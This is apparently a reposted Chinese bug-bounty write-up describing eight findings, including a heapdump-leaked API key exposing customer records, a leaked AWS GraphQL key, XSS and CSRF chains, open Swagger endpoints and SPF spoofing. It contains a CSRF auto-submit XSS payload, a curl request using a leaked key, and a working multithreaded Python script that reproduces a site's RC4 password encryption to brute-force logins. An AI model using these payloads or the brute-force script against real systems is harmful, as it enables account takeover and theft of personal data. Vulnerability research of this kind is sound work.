|
1.heapdump->接管全站数据
首先通过被动扫描,扫到一个多级目录下面泄露/actuator/heapdump,这里通过JDumpSpider[1]进行解密,首先是看到一个sqlserver的数据库泄露账号密码,虽然他是公网的,但是尝试连接发现好像进行了白名单ip限制
失败无过后,继续寻找可以尝试利用的点,发现一个命令recman.apiKey的东西,经过网络搜索发现recman是一个存储客户信息的网站
这里去翻找他的api文档,尝试利用该apikey,找到了该文档的查询api这个会泄露客户的敏感信息手机号、姓名、邮箱等等
放入key,尝试利用发现成功泄露了大量客户信息经过计算大概十几万吧,而且发现也有删除、修改等等api,等于是接管一个数据库
最后成功评级Critical(严重),厂家也成功接收
2.aws_graphql key泄露利用
被动扫描的时候,经过js的时候,发现泄露aws_graphql key
是这样的形式AWS:{APPSYNC_ID:"一堆字母",APPSYNC_API_KEY:"da2-一堆数字字母"}
发现还确实一些东西,继续翻js,成功找到他对接的url以及X-FAKE-USER-ID,部分用*代替
https://${n.a.AWS.APPSYNC_ID}.***.amazonaws.com/graphql
因为没怎么遇到过,这里去查询他的api文档尝试利用
首先使用查看是否存活,这里可以看到请求成功了
curl -XPOST -H "Content-Type:application/graphql" -H "x-api-key:da2-*****" -H "X-FAKE-USER-ID:c***" -d '{"query":"query {n__typename}"}' https://*****.amazonaws.com/graphql
后面继续利用,发现没有什么数据,就是一个测试用的graphql,最后请求了一下看了一下权限就提交了,有一定的权限
3.post-xss+csrf -> rxss
在一次测试中,发现get的某个参数可能可以绕过造成xss,因为对双引号没有被进行编译,所以可以绕过,而且在script标签下面可以直接执行
但是后续发现有waf,单纯的html注入是不收,然后就是就是漫长的绕waf,但是绕了1个小时还没过去,说实话真比国内难绕多了。
便尝试get变post转换输入方式,看看能否绕过waf,发现随随便便无waf拦截,而且也传入进去了,但是post-xss算是self-xss无危害,我们需要和其他漏洞利用增加危害。
经过测试发现存在csrf可以结合起来利用,造成的危害确实也就等于反射xss
<formaction="https://*******") method="POST">
<inputtype="hidden"name="searchTerm"value=""-alert(1)-"" />
<inputtype="submit"value="Submit request" />
</form>
<script> document.forms[0].submit(); </script>
4.存储xss-rxss危害
这个项目吧,不收反射xss,所以很多人不去关注xss漏洞,这给我捡漏了,但是吧这个属于私有类的项目,所以能搞的人也不算多。
这里登录网站后,来到收藏夹,新建一个收藏夹,经过测试名字那里可以通过'">闭合,导致xss
但是吧,这种就算csrf他也是属于反射xss不收,而且它做了设置不能进行csrf,慢慢翻,发现还有一个分享功能,这里分享我们的收藏夹,发现果然成功解析了,存储xss但是只有反射xss的危害
最后厂家也是成功接收了,中危也发了赏金。
5.swagger -> 全站信息泄露
经过被动扫描,发现有一个站泄露swagger页面,全站接口未做鉴权,但是他的接口参数配置,经过尝试不是简单的123,是需要别的内容配合起来,才能利用,所以那时候将这个先留存了起来。
后续测试别的站的途中,发现有一个找回密码的功能,根据找到的手册,翻找到了一个测试账号,然后进行拦包查看,发现employeenumber这个参数好像就是swagger的接口一样的参数。
返回之前swagger进行测试,发现成功获得了个人信息,按照这种规则可以获得全部内部人员信息,同样也有E开头之类的。
然后根据这里的参数,加以配置,也只用于添加用户、删除用户之类的,最后评级一般业务高危。
6.SPF邮箱伪造
详细操作可以看https://mp.weixin.qq.com/s/UFUBRg3BL1EMy0urkb6xxA 这篇文章
首先经过检测发现有MX记录,而且没有设置SPF
随便发了一个测试伪造的邮箱,核心中危到手
7.大量图片泄露敏感exlf信息
详细操作可以看https://mp.weixin.qq.com/s/qswULPJSOw6iMGb_5PRfWQ 这篇文章
首先查看主站的时候,发现有子链接中,有一个展示该手机用户上传照片的网站,我们下载图片,检测发现基本都泄露了敏感的exlf信息,就是拍摄该图片的GPS定位具体地址,最后也是核心中危了。
8.一次js分析
记录一次js爆破分析,首先发现可以根据查询账号,可以知道账户是否存在。
然后收集爆破成功的账号
尝试去爆破密码,结果发现密码存在一个加密
这里我们通过f12拦包,然后这里搜索pwd
猜测加密方式应该是在logic_new.js里面这里我们可以看到,这里有一个do_encrypt_rc4的函数是对pwd进行加密的,rckey应该是key值
new Date() 是获取当前时间,直接new Date()是给你格式化好的,+(new Date()) + '' 是给你时间戳
这里找到了加密函数,这里我们简单分析,简单理解就是rc4加上16进制
这是一个使用RC4算法进行加密的JavaScript函数:
该函数接收两个参数:要加密的数据(src)和用于加密的密码(passwd)。
在函数中,首先将src和passwd分别转换为字符串并去掉两端空格。
然后,定义了一些变量,如i,j,a,b,c和temp等等。
然后就是RC4算法
最后,将加密后的十六进制数据保存在output数组中,并将其连接为一个字符串并返回。
接下来,要去获取key,这里我们可以知道key就是一个时间戳
接下来,要去获取key,这里我们可以知道key就是一个时间戳
这里看到这个就是我们的密文了,我们只要按照这个加密来搞就可以了
这里我们拦截一个包来验证,这里可以看到auth_tag好像就是时间戳,我们看看
验证成功,这里我们按照这种方式写脚本加密爆破
最后简单编写一个脚本进行爆破,这里给脚本加上注释
import threading # 导入 threading 库,用于实现多线程
import requests # 导入 requests 库,用于发送 HTTP 请求
import re # 导入 re 库,用于正则表达式匹配
def do_encrypt_rc4(src, passwd):
# 定义 RC4 加密函数
src = src.strip() # 去除字符串前后的空格
passwd = str(passwd) # 将密码转化为字符串类型
plen = len(passwd) # 计算密码长度
size = len(src) # 计算原始字符串长度
key = [ord(passwd[i % plen]) for i in range(256)] # 生成密钥,每个字符对应一个 ASCII 码
sbox = [i for i in range(256)] # 初始化 S-box
j = 0
for i in range(256):
j = (j + sbox[i] + key[i]) % 256 # 根据密钥调整 S-box
sbox[i], sbox[j] = sbox[j], sbox[i]
a = b = c = 0
output = [] # 初始化输出
for i in range(size):
a = (a + 1) % 256
b = (b + sbox[a]) % 256
sbox[a], sbox[b] = sbox[b], sbox[a]
c = (sbox[a] + sbox[b]) % 256
temp = chr(ord(src[i]) ^ sbox[c]) # 用 RC4 算法对字符进行加密
output.append(temp)
return ''.join([format(ord(o), '02x') for o in output]) # 返回十六进制格式的加密结果
def reposes(url, ang):
# 定义发送请求的函数
data = {
'opr': 'pwdLogin',
'userName': ang,
'pwd': do_encrypt_rc4('需要爆破的密码', 1680759455576), # 获得密文
'auth_tag': 1680759455576, # 我们定义的一个时间戳
'rememberPwd': '0'
} # 定义请求参数
reqose = requests.post(url=url, data=data).text # 发送 HTTP POST 请求
if "true" in reqose: # 判断响应结果是否包含 "true"
ret = re.findall(r'd{7}', reqose) # 使用正则表达式匹配响应结果中的账号信息
for i in ret:
print(f"账号:{i}n密码:需要爆破的密码") # 输出账号和密码
def main():
f = open(r"C:UserstestDesktop2.txt", "r", encoding="utf-8").read() # 读取指定路径下的文件
url = "http://test/ac_portal/login.php" # 定义请求 URL
ang = re.findall(r'd{7}', f) # 使用正则表达式匹配文件中的账号信息
for i in ang:
t = threading.Thread(target=reposes, args=(url, i,))
t.start() # 使用多线程发送请求
if __name__ == "__main__":
main() # 主函数入
原文始发于微信公众号(深潜sec安全团队):分享一些以前挖掘的src案列
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论